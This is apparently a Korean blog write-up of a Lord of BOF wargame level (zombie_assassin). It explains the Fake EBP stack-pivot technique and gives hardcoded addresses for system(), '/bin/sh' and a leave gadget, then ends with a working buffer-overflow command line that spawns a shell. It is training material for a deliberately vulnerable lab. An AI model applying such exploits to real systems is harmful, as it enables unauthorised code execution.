반응형
assassin -> zombie_assassin 으로 접속합니다.
힌트로 FEBP가 나왔네요
FEBP란 Fake EBP의 약자입니다.
fake ebp -> ebp 속이기
이 기법은 ret까지만 덮을 수 있고, 특정한 영역에 대해 필터링 해놓았을 때, (스택 주소 \xbf, 라이브러리주소 \x40 등) 공격할 방법이 없어보일 때 사용하면 된다네요.
공격방법은
Fake EBP는 말그대로 EBP를 속이는 기법이다.
해당기법은 RET까지 덮을수있다.
leave - mov esp,ebp, pop ebp 명령을 가지고있다.
esp에 ebp가 들어가고, ebp가 pop이된다.
처음에 ret명령이 실행될떄 pop eip 실행되고, leave,ret주소를 넣었기때문에 다시 되돌아간다.
mov esp,ebp , pop ebp가 실행될떄 전 leave명령이 실행되면서 ebp에는 buf+4값이 esp로 이동된다.
그리고 다시 pop ebp명령을통해 리턴되고, eip에는 buf+4주소들어가 buf+4를 가리켜 명령을실행하게된다.
buf+4를 넣는것은, pop명령이 4바이트를 증가시키기 때문이다
페이로드를 짜보면
4 + system() + 4 + /bin/sh + 24 + buf+4add + leave
system 과 bin/sh 주소는 이전들과 같이 구해주고
leave주소는 gdb로 disas main 해서 확인하면 됩니다.
leave - \xdf\x84\x04\x08
system - 0x40058ae0
/bin/sh - 0x400fbff9
여기까지 한 후, buffer 의 주소를 찾으면 되는데
삽질에 삽질을 해도 안되서 결국
소스코드를 수정하여 buffer의 주소를 출력했습니다.
./zombie_assassin `python -c 'print "\x90"*4+"\xe0\x8a\x05\x40"+"\x90"*4+"\xf9\xbf\x0f\x40"+"\x90"*24+"\x60\xfa\xff\xbf"+"\xdf\x84\x04\x08"'`
반응형
'Security > Pwnable' 카테고리의 다른 글
LOB Level 18 succubus (0) | 2021.08.10 |
---|---|
LOB Level 17 zombie_assassin (0) | 2021.08.10 |
LOB Level 15 giant (0) | 2021.08.10 |
LOB Level 14 bugbear (0) | 2021.08.10 |
LOB Level 13 darkknight (0) | 2021.08.10 |